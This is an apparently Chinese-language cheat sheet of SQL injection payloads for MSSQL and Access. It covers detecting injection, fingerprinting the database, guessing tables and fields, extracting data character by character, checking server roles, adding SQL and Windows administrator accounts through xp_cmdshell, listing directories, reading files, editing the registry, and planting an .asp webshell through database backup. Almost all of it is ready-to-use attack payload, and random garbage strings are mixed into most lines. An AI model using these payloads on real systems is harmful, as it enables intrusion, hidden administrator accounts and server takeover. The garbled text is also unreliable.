1.判断是否有注入;and 1=1 ;and 1=2 0s{7=Ef
2.初步判断是否是mssql ;and user>0 IsJx5GO
PJ?C[+&
3.注入参数是字符'and [查询条件] and ''=' (C
uM*-
XHdhSFpm
4.搜索时没过滤参数的'and [查询条件] and '%25'=' f[R~oc5P0
bWlYQ
5.判断数据库系统 _!vy|,w@e
4{vEW(
;and (select count(*) from sysobjects)>0 mssql |N)),/R_
|*b-m k
;and (select count(*) from msysobjects)>0 access L AA(2
XpkOC o 02
|'P$zMAF
zG/? wP"
6.猜数据库 ;and (select Count(*) from [数据库名])>0 k?L2LIB<
Ndb7>"W
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Jd v;+HN[
'3sySsD&O
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 h<>yzr3fN
9;\mq'v%
9.(1)猜字段的ascii值(access) wD$UShnm9-
E8R;S}PA
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 S-3hLw&?
)[M:#;,L
(2)猜字段的ascii值(mssql) ":s_O.
WcM\4q@
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 q
&{<HcP
X's<+hK&
10.测试权限结构(mssql) #pK"
^O*!
u^JsKG+,:
YHu]\'Ff
lsOfpJ
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- n{etDO
@^.W|Zh[&
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- VlL%dN;
0
53a^9
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- j!%^6Io4
U1lqg?KO
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- h9}*_qc&kV
mW{>
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 96#]P
7m]J7 +4
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- FY^Nn
|S|'o*u
;and 1=(select IS_MEMBER('db_owner'));-- <Q- m &
;y1/b(t
yf8kBT:&S
\weg%a
11.添加mssql和系统的帐户 tk=S4/VWv
d}ycC.h4k
;exec master.dbo.sp_addlogin username;-- ~Fwbi
;exec master.dbo.sp_password null,username,password;-- ~7*2Jp'
&(32s! qH
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- NW 2`)e'
Kr|.I2?"
;exec master.dbo.xp_cmdshell 'net user username password ^[Ka+E^Q
O&|<2Qr
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $6D*G-*8
(*Q:'2e
;exec master.dbo.xp_cmdshell 'net user username password /add';-- K5XW&|tY!
Av5:/c.B
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2=0HQXXrq
>{:hadUH
dY~z6bT
4G&dBH
12.(1)遍历目录 E0&d*BI2
fbbbTZy
;create table dirs(paths varchar(100), id int) Dat',5
C}Kl!
;insert dirs exec master.dbo.xp_dirtree 'c:\' fCJjFL:
[?KGLUmTAI
;and (select top 1 paths from dirs)>0 5~ :/%+F0=
aVc{ aP
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 3+h3?
+s"6[\H1d
S**eI<QFSk
ZcyGLg0I
(2)遍历目录 \i%mokfbc
(4A'$O2
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- [x>Ju&))$
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )hj:Xpj9#
E
BBd
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4m1r@
$
Cgh84
2%
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 NE8W--Cg|
tB,(12@W
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 sTlel&
ja';NIO-
B#SVN Lv
(A6~mi r!
13.mssql中的存储过程 z^Ikb(KC
ozRTY9S
_;
xp_regenumvalues 注册表根键, 子键 R( FQ+h
@y`xFPB
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ZqVbNIY
^sLx3a
xp_regread 根键,子键,键值名 }>u `8'2v
H%>4z3n
;exec xp_regread y@!o&,,mq
g)#{<#*2
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 d>8"-$
o1$u;}^ |
xp_regwrite 根键,子键, 值名, 值类型, 值 4<F
z![>
&EQhk9j
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 LtMM89u
}\7UU?@ n
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 9 =;mY
4#0 3x:/<\
xp_regdeletevalue 根键,子键,值名 Kh(`6 f
f=R+]XPzz
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 gaY&2
f;zNNx<
;
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 m3lz#Pm'0
.=#jdc/
CG=c@-"n/
K\F0nToJ.
14.mssql的backup创建webshell L4g%o9G
r8Pd}ptPU
use model ,=m.WmXE
IL %]4,
create table cmd(str image); =xI'|%
J @"#
insert into cmd(str) values (''); +hmFFQQ}
@9gZH_ur>E
backup database model to disk='c:\l.asp'; g8%O^)d=>
&P|[YP37_
x [FLV8`b|
:BF ? r
15.mssql内置函数
[fa4
A>yU0\A
;and (select @@version)>0 获得Windows的版本号 l:!L+t*}6
w!7\wI[
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Y7VO:o
YzI;)
;and (select user_name())>0 爆当前系统的连接用户 `R[ZY!=+
.Q*X5Fc
;and (select db_name())>0 得到当前连接的数据库 [s{!
St-uE|8
Y$r78h=4
WVy'f|3;
16.简洁的webshell ~hLan&T
@dDeOnF
use model pFd8p@m_2
"n!yK
create table cmd(str image); ;"wCBuXcu
tF0jH+7J-
insert into cmd(str) values (''); B ;1qy[
~.m<`~u
backup database model to disk='g:\wwwtest\l.asp';